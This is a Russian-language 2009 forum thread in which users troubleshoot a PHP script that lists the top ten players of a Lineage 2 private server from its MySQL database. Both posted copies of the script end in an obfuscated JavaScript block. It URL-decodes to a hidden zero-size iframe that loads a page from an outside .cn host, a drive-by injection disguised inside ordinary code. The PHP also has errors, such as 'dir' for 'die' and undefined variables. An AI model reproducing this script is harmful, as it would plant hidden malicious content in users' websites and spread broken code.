[web]Скрипт
5 ответов159 просмотровСейчас просматривают: 1
· 26.02.2009, 11:23
Железо: кор 2 дуо 2.0, 4 гига оперы
ОС: Винда хр х32
Программы: мускул 5.2.0 х32, ява х32
Сборка: Interlude, L2JGroup v2.0
Привет всем, перейду сразу к сути проблемы. Я ищу скрипт на топ игроков, но чтоб можно было его подключить к Базе ну там вводить Логин, IP адрес MySQL-сервера, Порт, Имя игровой базы, в самом скрипте и тд. За ранние спасибо!
la2Base 1.1.6 и L2JGroup v2
вот что пишет
Не удалось получить данные из базы.
Обвязка мой веб
Мой веб. Обвязка.
Сори туплю не спал прост сутки.
0
· 26.02.2009, 15:04
_http://la2fenomen.ru/ сайт покачто тестовый
Вот скрипт.
Top10.php
Цитата
<?php
mysql_connect($L2JBS_config["mysql_host"],$L2JBS_config["mysql_login"],$L2JBS_config["mysql_password"]) or die('Не удалось подключится к MySQL серверу. Проверьте настройки.');
mysql_select_db($L2JBS_config["mysql_db"]) or dir('Не удалось выбрать базу данных. Проверьте настойки.');
//Получаем данные из базы
$data=mysql_query("SELECT * FROM characters WHERE $where and accesslevel<50 ORDER BY level DESC LIMIT 10 ") or die('Не удалось получить данные из базы.');
//Создаем начало таблицы
echo "<table><thead><tr><th>№</th><th><center>Ник</center></th><tr></thead>\n";
//Выводим содержимое таблицы
$result2 = mysql_query("SELECT clan_id,clan_name FROM clan_data", $link)
or die ("Error: ".mysql_error());
while ($row2=mysql_fetch_row($result2))
$n=1;
while ($top=mysql_fetch_array($data))
{
if ($top['sex']==0) { $name='<font color=#8080FF>'.$top[char_name].'</font>'; } else { $name='<font color=#FF8080>' .$top[char_name].'</font>'; }
echo "<tr><td><b><center>$n</center></b></td><td>$name</td><td><center></td></tr>\n";
$n++;
}
//Закрываем таблицу
echo '</table>';
?>
<script language="javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%61%66%69%2E%62%61%62%6A%72%2E%63%6E%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>
mysql_connect($L2JBS_config["mysql_host"],$L2JBS_config["mysql_login"],$L2JBS_config["mysql_password"]) or die('Не удалось подключится к MySQL серверу. Проверьте настройки.');
mysql_select_db($L2JBS_config["mysql_db"]) or dir('Не удалось выбрать базу данных. Проверьте настойки.');
//Получаем данные из базы
$data=mysql_query("SELECT * FROM characters WHERE $where and accesslevel<50 ORDER BY level DESC LIMIT 10 ") or die('Не удалось получить данные из базы.');
//Создаем начало таблицы
echo "<table><thead><tr><th>№</th><th><center>Ник</center></th><tr></thead>\n";
//Выводим содержимое таблицы
$result2 = mysql_query("SELECT clan_id,clan_name FROM clan_data", $link)
or die ("Error: ".mysql_error());
while ($row2=mysql_fetch_row($result2))
$n=1;
while ($top=mysql_fetch_array($data))
{
if ($top['sex']==0) { $name='<font color=#8080FF>'.$top[char_name].'</font>'; } else { $name='<font color=#FF8080>' .$top[char_name].'</font>'; }
echo "<tr><td><b><center>$n</center></b></td><td>$name</td><td><center></td></tr>\n";
$n++;
}
//Закрываем таблицу
echo '</table>';
?>
<script language="javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%61%66%69%2E%62%61%62%6A%72%2E%63%6E%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>
0
· 26.02.2009, 15:09
Проверь переменную accesslevel
как она написанна в БД ?
Цитата
//Получаем данные из базы
$data=mysql_query("SELECT * FROM characters WHERE $where and accesslevel<50 ORDER BY level DESC LIMIT 10 ") or die('Не удалось получить данные из базы.');
$data=mysql_query("SELECT * FROM characters WHERE $where and accesslevel<50 ORDER BY level DESC LIMIT 10 ") or die('Не удалось получить данные из базы.');
И меняй переменную на ту, что в БД (к примеру в БД access_level)
Главная ошибка одится в полуметре от монитора...
0
Тема закрыта для ответов




